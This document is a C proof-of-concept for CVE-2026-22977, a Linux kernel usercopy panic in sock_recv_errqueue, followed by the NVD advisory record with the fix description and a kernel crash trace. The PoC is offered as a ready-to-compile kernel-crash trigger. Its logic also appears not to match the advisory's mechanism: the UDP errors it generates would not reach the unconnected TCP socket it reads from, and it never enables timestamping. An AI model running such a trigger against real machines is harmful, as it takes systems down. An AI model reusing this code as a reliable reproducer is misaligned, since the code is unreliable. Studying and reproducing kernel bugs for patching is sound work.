CVE-2026-22977

/* * CVE-2026-22977 PoC - Linux kernel usercopy panic in sock_recv_errqueue * This PoC demonstrates triggering the usercopy BUG when reading TCP error queue * with CONFIG_HARDENED_USERCOPY enabled. * * Compile: gcc -o cve202622977_poc cve202622977_poc.c -lpthread * Run as root: sudo ./cve202622977_poc */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/tcp.h> #include <arpa/inet.h> #include <pthread.h> #include <linux/netlink.h> #define TARGET_PORT 9999 #define PAYLOAD_SIZE 100 void *trigger_error_queue(void *arg) { int sock = *(int *)arg; struct sockaddr_in dest; char buffer[PAYLOAD_SIZE]; /* Setup destination for TCP connection */ memset(&dest, 0, sizeof(dest)); dest.sin_family = AF_INET; dest.sin_port = htons(TARGET_PORT); dest.sin_addr.s_addr = inet_addr("127.0.0.1"); /* Send data to trigger potential ICMP error */ sleep(1); /* Send UDP packets that will generate ICMP unreachable errors */ int udp_sock = socket(AF_INET, SOCK_DGRAM, 0); if (udp_sock < 0) { perror("UDP socket creation failed"); return NULL; } /* Send data that will be rejected - triggers error queue entry */ for (int i = 0; i < 10; i++) { sendto(udp_sock, buffer, PAYLOAD_SIZE, 0, (struct sockaddr *)&dest, sizeof(dest)); usleep(100000); } close(udp_sock); return NULL; } int main() { int sock; struct sockaddr_in local_addr; char cmsg_buffer[CMSG_SPACE(sizeof(struct sock_extended_err))]; struct iovec iov; struct msghdr msg; struct cmsghdr *cmsg; char data_buffer[1024]; pthread_t thread; printf("CVE-2026-22977 PoC - TCP Error Queue usercopy trigger\n"); printf("Requires: CONFIG_HARDENED_USERCOPY enabled kernel\n"); /* Create TCP socket */ sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0) { perror("Socket creation failed"); return 1; } /* Enable error queue receiving */ int enable = 1; if (setsockopt(sock, SOL_IP, IP_RECVERR, &enable, sizeof(enable)) < 0) { perror("setsockopt IP_RECVERR failed"); close(sock); return 1; } /* Bind socket */ memset(&local_addr, 0, sizeof(local_addr)); local_addr.sin_family = AF_INET; local_addr.sin_port = htons(12345); local_addr.sin_addr.s_addr = INADDR_ANY; if (bind(sock, (struct sockaddr *)&local_addr, sizeof(local_addr)) < 0) { perror("bind failed"); close(sock); return 1; } /* Setup message for receiving with error queue */ memset(&msg, 0, sizeof(msg)); iov.iov_base = data_buffer; iov.iov_len = sizeof(data_buffer); msg.msg_name = NULL; msg.msg_namelen = 0; msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = cmsg_buffer; msg.msg_controllen = sizeof(cmsg_buffer); msg.msg_flags = 0; /* Start thread to trigger error conditions */ pthread_create(&thread, NULL, trigger_error_queue, &sock); printf("Waiting for error queue data...\n"); /* This recvmsg call may trigger the usercopy BUG */ /* when skbuff_fclone_cache is accessed without whitelist */ ssize_t ret = recvmsg(sock, &msg, MSG_ERRQUEUE); if (ret < 0) { perror("recvmsg (error queue) failed"); } else { printf("Received %zd bytes from error queue\n", ret); /* Parse extended error information */ for (cmsg = CMSG_FIRSTHDR(&msg); cmsg != NULL; cmsg = CMSG_NXTHDR(&msg, cmsg)) { if (cmsg->cmsg_level == SOL_IP && cmsg->cmsg_type == IP_RECVERR) { struct sock_extended_err *err = (struct sock_extended_err *)CMSG_DATA(cmsg); printf("Extended error: origin=%d, type=%d, code=%d\n", err->ee_origin, err->ee_type, err->ee_code); } } } pthread_join(thread, NULL); close(sock); printf("PoC completed. Check dmesg for kernel panic if vulnerable.\n"); return 0; }

{"cve": {"id": "CVE-2026-22977", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-21T14:16:06.853", "lastModified": "2026-02-26T20:02:55.910", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: sock: fix hardened usercopy panic in sock_recv_errqueue\n\nskbuff_fclone_cache was created without defining a usercopy region,\n[1] unlike skbuff_head_cache which properly whitelists the cb[] field.\n[2] This causes a usercopy BUG() when CONFIG_HARDENED_USERCOPY is\nenabled and the kernel attempts to copy sk_buff.cb data to userspace\nvia sock_recv_errqueue() -> put_cmsg().\n\nThe crash occurs when: 1. TCP allocates an skb using alloc_skb_fclone()\n (from skbuff_fclone_cache) [1]\n2. The skb is cloned via skb_clone() using the pre-allocated fclone\n[3] 3. The cloned skb is queued to sk_error_queue for timestamp\nreporting 4. Userspace reads the error queue via recvmsg(MSG_ERRQUEUE)\n5. sock_recv_errqueue() calls put_cmsg() to copy serr->ee from skb->cb\n[4] 6. __check_heap_object() fails because skbuff_fclone_cache has no\n usercopy whitelist [5]\n\nWhen cloned skbs allocated from skbuff_fclone_cache are used in the\nsocket error queue, accessing the sock_exterr_skb structure in skb->cb\nvia put_cmsg() triggers a usercopy hardening violation:\n\n[ 5.379589] usercopy: Kernel memory exposure attempt detected from SLUB object 'skbuff_fclone_cache' (offset 296, size 16)!\n[ 5.382796] kernel BUG at mm/usercopy.c:102!\n[ 5.383923] Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI\n[ 5.384903] CPU: 1 UID: 0 PID: 138 Comm: poc_put_cmsg Not tainted 6.12.57 #7\n[ 5.384903] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014\n[ 5.384903] RIP: 0010:usercopy_abort+0x6c/0x80\n[ 5.384903] Code: 1a 86 51 48 c7 c2 40 15 1a 86 41 52 48 c7 c7 c0 15 1a 86 48 0f 45 d6 48 c7 c6 80 15 1a 86 48 89 c1 49 0f 45 f3 e8 84 27 88 ff <0f> 0b 490\n[ 5.384903] RSP: 0018:ffffc900006f77a8 EFLAGS: 00010246\n[ 5.384903] RAX: 000000000000006f RBX: ffff88800f0ad2a8 RCX: 1ffffffff0f72e74\n[ 5.384903] RDX: 0000000000000000 RSI: 0000000000000004 RDI: ffffffff87b973a0\n[ 5.384903] RBP: 0000000000000010 R08: 0000000000000000 R09: fffffbfff0f72e74\n[ 5.384903] R10: 0000000000000003 R11: 79706f6372657375 R12: 0000000000000001\n[ 5.384903] R13: ffff88800f0ad2b8 R14: ffffea00003c2b40 R15: ffffea00003c2b00\n[ 5.384903] FS: 0000000011bc4380(0000) GS:ffff8880bf100000(0000) knlGS:0000000000000000\n[ 5.384903] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 5.384903] CR2: 000056aa3b8e5fe4 CR3: 000000000ea26004 CR4: 0000000000770ef0\n[ 5.384903] PKRU: 55555554\n[ 5.384903] Call Trace:\n[ 5.384903] <TASK>\n[ 5.384903] __check_heap_object+0x9a/0xd0\n[ 5.384903] __check_object_size+0x46c/0x690\n[ 5.384903] put_cmsg+0x129/0x5e0\n[ 5.384903] sock_recv_errqueue+0x22f/0x380\n[ 5.384903] tls_sw_recvmsg+0x7ed/0x1960\n[ 5.384903] ? srso_alias_return_thunk+0x5/0xfbef5\n[ 5.384903] ? schedule+0x6d/0x270\n[ 5.384903] ? srso_alias_return_thunk+0x5/0xfbef5\n[ 5.384903] ? mutex_unlock+0x81/0xd0\n[ 5.384903] ? __pfx_mutex_unlock+0x10/0x10\n[ 5.384903] ? __pfx_tls_sw_recvmsg+0x10/0x10\n[ 5.384903] ? _raw_spin_lock_irqsave+0x8f/0xf0\n[ 5.384903] ? _raw_read_unlock_irqrestore+0x20/0x40\n[ 5.384903] ? srso_alias_return_thunk+0x5/0xfbef5\n\nThe crash offset 296 corresponds to skb2->cb within skbuff_fclones:\n - sizeof(struct sk_buff) = 232 - offsetof(struct sk_buff, cb) = 40 -\n offset of skb2.cb in fclones = 232 + 40 = 272 - crash offset 296 =\n 272 + 24 (inside sock_exterr_skb.ee)\n\nThis patch uses a local stack variable as a bounce buffer to avoid the hardened usercopy check failure.\n\n[1] https://elixir.bootlin.com/linux/v6.12.62/source/net/ipv4/tcp.c#L885\n[2] https://elixir.bootlin.com/linux/v6.12.62/source/net/core/skbuff.c#L5104\n[3] https://elixir.bootlin.com/linux/v6.12.62/source/net/core/skbuff.c#L5566\n[4] https://elixir.bootlin.com/linux/v6.12.62/source/net/core/skbuff.c#L5491\n[5] https://elixir.bootlin.com/linux/v6.12.62/source/mm/slub.c#L5719"}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nnet: sock: soluciona el pánico de usercopy endurecido en sock_recv_errqueue\n\nskbuff_fclone_cache fue creada sin definir una región de usercopy,\n[1] a diferencia de skbuff_head_cache que incluye correctamente en la lista blanca el campo cb[].\n[2] Esto causa un BUG() de usercopy cuando CONFIG_HARDENED_USERCOPY está\nhabilitado y el kernel intenta copiar datos de sk_buff.cb al espacio de usuario\na través de sock_recv_errqueue() -&gt; put_cmsg().\n\nEl fallo ocurre cuando: 1. TCP asigna un skb usando alloc_skb_fclone()\n (de skbuff_fclone_cache) [1]\n2. El skb es clonado a través de skb_clone() usando el fclone ... (truncated)